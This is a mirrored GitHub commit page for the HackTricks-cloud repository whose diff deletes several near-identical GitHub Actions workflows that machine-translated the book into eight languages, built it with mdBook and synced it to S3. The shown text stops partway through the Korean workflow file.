mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-05 20:40:18 -08:00
Translated ['src/pentesting-cloud/azure-security/az-services/az-automati
This commit is contained in:
119
.github/workflows/translate_af.yml
vendored
119
.github/workflows/translate_af.yml
vendored
@@ -1,119 +0,0 @@
|
||||
name: Translator to AF (Afrikaans)
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency: af
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
run-translation:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
env:
|
||||
LANGUAGE: Afrikaans
|
||||
BRANCH: af
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: 3.8
|
||||
|
||||
- name: Install python dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip3 install openai tqdm tiktoken
|
||||
|
||||
# Install Rust and Cargo
|
||||
- name: Install Rust and Cargo
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
|
||||
# Install mdBook and Plugins
|
||||
- name: Install mdBook and Plugins
|
||||
run: |
|
||||
cargo install mdbook
|
||||
cargo install mdbook-alerts
|
||||
cargo install mdbook-reading-time
|
||||
cargo install mdbook-pagetoc
|
||||
cargo install mdbook-tabs
|
||||
cargo install mdbook-codename
|
||||
|
||||
|
||||
- name: Update & install wget & translator.py
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install wget -y
|
||||
cd scripts
|
||||
rm -f translator.py
|
||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
||||
cd ..
|
||||
|
||||
- name: Download language branch #Make sure we have last version
|
||||
run: |
|
||||
git config --global user.name 'Translator'
|
||||
git config --global user.email 'github-actions@github.com'
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
git checkout master
|
||||
|
||||
- name: Run translation script on changed files
|
||||
run: |
|
||||
echo "Starting translations"
|
||||
echo "Commit: $GITHUB_SHA"
|
||||
|
||||
# Export the OpenAI API key as an environment variable
|
||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
||||
|
||||
# Run the translation script on each changed file
|
||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
||||
if echo "$file" | grep -qE '\.md$'; then
|
||||
echo -n "$file , " >> /tmp/file_paths.txt
|
||||
else
|
||||
echo "Skipping $file"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
||||
|
||||
# Push changes to the repository
|
||||
- name: Commit and push changes
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git add -A
|
||||
git commit -m "Translated $BRANCH files" || true
|
||||
git push --set-upstream origin "$BRANCH"
|
||||
|
||||
# Build the mdBook
|
||||
- name: Build mdBook
|
||||
run: mdbook build
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
with:
|
||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
||||
aws-region: us-east-1
|
||||
|
||||
# Sync the build to S3
|
||||
- name: Sync to S3
|
||||
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete
|
||||
119
.github/workflows/translate_de.yml
vendored
119
.github/workflows/translate_de.yml
vendored
@@ -1,119 +0,0 @@
|
||||
name: Translator to DE (German)
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency: de
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
run-translation:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
env:
|
||||
LANGUAGE: German
|
||||
BRANCH: de
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: 3.8
|
||||
|
||||
- name: Install python dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip3 install openai tqdm tiktoken
|
||||
|
||||
# Install Rust and Cargo
|
||||
- name: Install Rust and Cargo
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
|
||||
# Install mdBook and Plugins
|
||||
- name: Install mdBook and Plugins
|
||||
run: |
|
||||
cargo install mdbook
|
||||
cargo install mdbook-alerts
|
||||
cargo install mdbook-reading-time
|
||||
cargo install mdbook-pagetoc
|
||||
cargo install mdbook-tabs
|
||||
cargo install mdbook-codename
|
||||
|
||||
|
||||
- name: Update & install wget & translator.py
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install wget -y
|
||||
cd scripts
|
||||
rm -f translator.py
|
||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
||||
cd ..
|
||||
|
||||
- name: Download language branch #Make sure we have last version
|
||||
run: |
|
||||
git config --global user.name 'Translator'
|
||||
git config --global user.email 'github-actions@github.com'
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
git checkout master
|
||||
|
||||
- name: Run translation script on changed files
|
||||
run: |
|
||||
echo "Starting translations"
|
||||
echo "Commit: $GITHUB_SHA"
|
||||
|
||||
# Export the OpenAI API key as an environment variable
|
||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
||||
|
||||
# Run the translation script on each changed file
|
||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
||||
if echo "$file" | grep -qE '\.md$'; then
|
||||
echo -n "$file , " >> /tmp/file_paths.txt
|
||||
else
|
||||
echo "Skipping $file"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
||||
|
||||
# Push changes to the repository
|
||||
- name: Commit and push changes
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git add -A
|
||||
git commit -m "Translated $BRANCH files" || true
|
||||
git push --set-upstream origin "$BRANCH"
|
||||
|
||||
# Build the mdBook
|
||||
- name: Build mdBook
|
||||
run: mdbook build
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
with:
|
||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
||||
aws-region: us-east-1
|
||||
|
||||
# Sync the build to S3
|
||||
- name: Sync to S3
|
||||
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete
|
||||
119
.github/workflows/translate_el.yml
vendored
119
.github/workflows/translate_el.yml
vendored
@@ -1,119 +0,0 @@
|
||||
name: Translator to EL (Greek)
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency: el
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
run-translation:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
env:
|
||||
LANGUAGE: Greek
|
||||
BRANCH: el
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: 3.8
|
||||
|
||||
- name: Install python dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip3 install openai tqdm tiktoken
|
||||
|
||||
# Install Rust and Cargo
|
||||
- name: Install Rust and Cargo
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
|
||||
# Install mdBook and Plugins
|
||||
- name: Install mdBook and Plugins
|
||||
run: |
|
||||
cargo install mdbook
|
||||
cargo install mdbook-alerts
|
||||
cargo install mdbook-reading-time
|
||||
cargo install mdbook-pagetoc
|
||||
cargo install mdbook-tabs
|
||||
cargo install mdbook-codename
|
||||
|
||||
|
||||
- name: Update & install wget & translator.py
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install wget -y
|
||||
cd scripts
|
||||
rm -f translator.py
|
||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
||||
cd ..
|
||||
|
||||
- name: Download language branch #Make sure we have last version
|
||||
run: |
|
||||
git config --global user.name 'Translator'
|
||||
git config --global user.email 'github-actions@github.com'
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
git checkout master
|
||||
|
||||
- name: Run translation script on changed files
|
||||
run: |
|
||||
echo "Starting translations"
|
||||
echo "Commit: $GITHUB_SHA"
|
||||
|
||||
# Export the OpenAI API key as an environment variable
|
||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
||||
|
||||
# Run the translation script on each changed file
|
||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
||||
if echo "$file" | grep -qE '\.md$'; then
|
||||
echo -n "$file , " >> /tmp/file_paths.txt
|
||||
else
|
||||
echo "Skipping $file"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
||||
|
||||
# Push changes to the repository
|
||||
- name: Commit and push changes
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git add -A
|
||||
git commit -m "Translated $BRANCH files" || true
|
||||
git push --set-upstream origin "$BRANCH"
|
||||
|
||||
# Build the mdBook
|
||||
- name: Build mdBook
|
||||
run: mdbook build
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
with:
|
||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
||||
aws-region: us-east-1
|
||||
|
||||
# Sync the build to S3
|
||||
- name: Sync to S3
|
||||
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete
|
||||
119
.github/workflows/translate_es.yml
vendored
119
.github/workflows/translate_es.yml
vendored
@@ -1,119 +0,0 @@
|
||||
name: Translator to ES (Spanish)
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency: es
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
run-translation:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
env:
|
||||
LANGUAGE: Spanish
|
||||
BRANCH: es
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: 3.8
|
||||
|
||||
- name: Install python dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip3 install openai tqdm tiktoken
|
||||
|
||||
# Install Rust and Cargo
|
||||
- name: Install Rust and Cargo
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
|
||||
# Install mdBook and Plugins
|
||||
- name: Install mdBook and Plugins
|
||||
run: |
|
||||
cargo install mdbook
|
||||
cargo install mdbook-alerts
|
||||
cargo install mdbook-reading-time
|
||||
cargo install mdbook-pagetoc
|
||||
cargo install mdbook-tabs
|
||||
cargo install mdbook-codename
|
||||
|
||||
|
||||
- name: Update & install wget & translator.py
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install wget -y
|
||||
cd scripts
|
||||
rm -f translator.py
|
||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
||||
cd ..
|
||||
|
||||
- name: Download language branch #Make sure we have last version
|
||||
run: |
|
||||
git config --global user.name 'Translator'
|
||||
git config --global user.email 'github-actions@github.com'
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
git checkout master
|
||||
|
||||
- name: Run translation script on changed files
|
||||
run: |
|
||||
echo "Starting translations"
|
||||
echo "Commit: $GITHUB_SHA"
|
||||
|
||||
# Export the OpenAI API key as an environment variable
|
||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
||||
|
||||
# Run the translation script on each changed file
|
||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
||||
if echo "$file" | grep -qE '\.md$'; then
|
||||
echo -n "$file , " >> /tmp/file_paths.txt
|
||||
else
|
||||
echo "Skipping $file"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
||||
|
||||
# Push changes to the repository
|
||||
- name: Commit and push changes
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git add -A
|
||||
git commit -m "Translated $BRANCH files" || true
|
||||
git push --set-upstream origin "$BRANCH"
|
||||
|
||||
# Build the mdBook
|
||||
- name: Build mdBook
|
||||
run: mdbook build
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
with:
|
||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
||||
aws-region: us-east-1
|
||||
|
||||
# Sync the build to S3
|
||||
- name: Sync to S3
|
||||
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete
|
||||
119
.github/workflows/translate_fr.yml
vendored
119
.github/workflows/translate_fr.yml
vendored
@@ -1,119 +0,0 @@
|
||||
name: Translator to FR (French)
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency: fr
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
run-translation:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
env:
|
||||
LANGUAGE: French
|
||||
BRANCH: fr
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: 3.8
|
||||
|
||||
- name: Install python dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip3 install openai tqdm tiktoken
|
||||
|
||||
# Install Rust and Cargo
|
||||
- name: Install Rust and Cargo
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
|
||||
# Install mdBook and Plugins
|
||||
- name: Install mdBook and Plugins
|
||||
run: |
|
||||
cargo install mdbook
|
||||
cargo install mdbook-alerts
|
||||
cargo install mdbook-reading-time
|
||||
cargo install mdbook-pagetoc
|
||||
cargo install mdbook-tabs
|
||||
cargo install mdbook-codename
|
||||
|
||||
|
||||
- name: Update & install wget & translator.py
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install wget -y
|
||||
cd scripts
|
||||
rm -f translator.py
|
||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
||||
cd ..
|
||||
|
||||
- name: Download language branch #Make sure we have last version
|
||||
run: |
|
||||
git config --global user.name 'Translator'
|
||||
git config --global user.email 'github-actions@github.com'
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
git checkout master
|
||||
|
||||
- name: Run translation script on changed files
|
||||
run: |
|
||||
echo "Starting translations"
|
||||
echo "Commit: $GITHUB_SHA"
|
||||
|
||||
# Export the OpenAI API key as an environment variable
|
||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
||||
|
||||
# Run the translation script on each changed file
|
||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
||||
if echo "$file" | grep -qE '\.md$'; then
|
||||
echo -n "$file , " >> /tmp/file_paths.txt
|
||||
else
|
||||
echo "Skipping $file"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
||||
|
||||
# Push changes to the repository
|
||||
- name: Commit and push changes
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git add -A
|
||||
git commit -m "Translated $BRANCH files" || true
|
||||
git push --set-upstream origin "$BRANCH"
|
||||
|
||||
# Build the mdBook
|
||||
- name: Build mdBook
|
||||
run: mdbook build
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
with:
|
||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
||||
aws-region: us-east-1
|
||||
|
||||
# Sync the build to S3
|
||||
- name: Sync to S3
|
||||
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete
|
||||
119
.github/workflows/translate_it.yml
vendored
119
.github/workflows/translate_it.yml
vendored
@@ -1,119 +0,0 @@
|
||||
name: Translator to IT (Italian)
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency: it
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
run-translation:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
env:
|
||||
LANGUAGE: Italian
|
||||
BRANCH: it
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: 3.8
|
||||
|
||||
- name: Install python dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip3 install openai tqdm tiktoken
|
||||
|
||||
# Install Rust and Cargo
|
||||
- name: Install Rust and Cargo
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
|
||||
# Install mdBook and Plugins
|
||||
- name: Install mdBook and Plugins
|
||||
run: |
|
||||
cargo install mdbook
|
||||
cargo install mdbook-alerts
|
||||
cargo install mdbook-reading-time
|
||||
cargo install mdbook-pagetoc
|
||||
cargo install mdbook-tabs
|
||||
cargo install mdbook-codename
|
||||
|
||||
|
||||
- name: Update & install wget & translator.py
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install wget -y
|
||||
cd scripts
|
||||
rm -f translator.py
|
||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
||||
cd ..
|
||||
|
||||
- name: Download language branch #Make sure we have last version
|
||||
run: |
|
||||
git config --global user.name 'Translator'
|
||||
git config --global user.email 'github-actions@github.com'
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
git checkout master
|
||||
|
||||
- name: Run translation script on changed files
|
||||
run: |
|
||||
echo "Starting translations"
|
||||
echo "Commit: $GITHUB_SHA"
|
||||
|
||||
# Export the OpenAI API key as an environment variable
|
||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
||||
|
||||
# Run the translation script on each changed file
|
||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
||||
if echo "$file" | grep -qE '\.md$'; then
|
||||
echo -n "$file , " >> /tmp/file_paths.txt
|
||||
else
|
||||
echo "Skipping $file"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
||||
|
||||
# Push changes to the repository
|
||||
- name: Commit and push changes
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git add -A
|
||||
git commit -m "Translated $BRANCH files" || true
|
||||
git push --set-upstream origin "$BRANCH"
|
||||
|
||||
# Build the mdBook
|
||||
- name: Build mdBook
|
||||
run: mdbook build
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
with:
|
||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
||||
aws-region: us-east-1
|
||||
|
||||
# Sync the build to S3
|
||||
- name: Sync to S3
|
||||
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete
|
||||
119
.github/workflows/translate_ja.yml
vendored
119
.github/workflows/translate_ja.yml
vendored
@@ -1,119 +0,0 @@
|
||||
name: Translator to JA (Japanese)
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency: ja
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
run-translation:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
env:
|
||||
LANGUAGE: Japanese
|
||||
BRANCH: ja
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: 3.8
|
||||
|
||||
- name: Install python dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip3 install openai tqdm tiktoken
|
||||
|
||||
# Install Rust and Cargo
|
||||
- name: Install Rust and Cargo
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
|
||||
# Install mdBook and Plugins
|
||||
- name: Install mdBook and Plugins
|
||||
run: |
|
||||
cargo install mdbook
|
||||
cargo install mdbook-alerts
|
||||
cargo install mdbook-reading-time
|
||||
cargo install mdbook-pagetoc
|
||||
cargo install mdbook-tabs
|
||||
cargo install mdbook-codename
|
||||
|
||||
|
||||
- name: Update & install wget & translator.py
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install wget -y
|
||||
cd scripts
|
||||
rm -f translator.py
|
||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
||||
cd ..
|
||||
|
||||
- name: Download language branch #Make sure we have last version
|
||||
run: |
|
||||
git config --global user.name 'Translator'
|
||||
git config --global user.email 'github-actions@github.com'
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
git checkout master
|
||||
|
||||
- name: Run translation script on changed files
|
||||
run: |
|
||||
echo "Starting translations"
|
||||
echo "Commit: $GITHUB_SHA"
|
||||
|
||||
# Export the OpenAI API key as an environment variable
|
||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
||||
|
||||
# Run the translation script on each changed file
|
||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
||||
if echo "$file" | grep -qE '\.md$'; then
|
||||
echo -n "$file , " >> /tmp/file_paths.txt
|
||||
else
|
||||
echo "Skipping $file"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
||||
|
||||
# Push changes to the repository
|
||||
- name: Commit and push changes
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git add -A
|
||||
git commit -m "Translated $BRANCH files" || true
|
||||
git push --set-upstream origin "$BRANCH"
|
||||
|
||||
# Build the mdBook
|
||||
- name: Build mdBook
|
||||
run: mdbook build
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
with:
|
||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
||||
aws-region: us-east-1
|
||||
|
||||
# Sync the build to S3
|
||||
- name: Sync to S3
|
||||
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete
|
||||
119
.github/workflows/translate_ko.yml
vendored
119
.github/workflows/translate_ko.yml
vendored
@@ -1,119 +0,0 @@
|
||||
name: Translator to KO (Korean)
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency: ko
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
run-translation:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
env:
|
||||
LANGUAGE: Korean
|
||||
BRANCH: ko
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: 3.8
|
||||
|
||||
- name: Install python dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip3 install openai tqdm tiktoken
|
||||
|
||||
# Install Rust and Cargo
|
||||
- name: Install Rust and Cargo
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
|
||||
# Install mdBook and Plugins
|
||||
- name: Install mdBook and Plugins
|
||||
run: |
|
||||
cargo install mdbook
|
||||
cargo install mdbook-alerts
|
||||
cargo install mdbook-reading-time
|
||||
cargo install mdbook-pagetoc
|
||||
cargo install mdbook-tabs
|
||||
cargo install mdbook-codename
|
||||
|
||||
|
||||
- name: Update & install wget & translator.py
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install wget -y
|
||||
cd scripts
|
||||
rm -f translator.py
|
||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
||||
cd ..
|
||||
|
||||
- name: Download language branch #Make sure we have last version
|
||||
run: |
|
||||
git config --global user.name 'Translator'
|
||||
git config --global user.email 'github-actions@github.com'
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
git checkout master
|
||||
|
||||
- name: Run translation script on changed files
|
||||
run: |
|
||||
echo "Starting translations"
|
||||
echo "Commit: $GITHUB_SHA"
|
||||
|
||||
# Export the OpenAI API key as an environment variable
|
||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
||||
|
||||
# Run the translation script on each changed file
|
||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
||||
if echo "$file" | grep -qE '\.md$'; then
|
||||
echo -n "$file , " >> /tmp/file_paths.txt
|
||||
else
|
||||
echo "Skipping $file"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
||||
|
||||
# Push changes to the repository
|
||||
- name: Commit and push changes
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git add -A
|
||||
git commit -m "Translated $BRANCH files" || true
|
||||
git push --set-upstream origin "$BRANCH"
|
||||
|
||||
# Build the mdBook
|
||||
- name: Build mdBook
|
||||
run: mdbook build
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
with:
|
||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
||||
aws-region: us-east-1
|
||||
|
||||
# Sync the build to S3
|
||||
- name: Sync to S3
|
||||
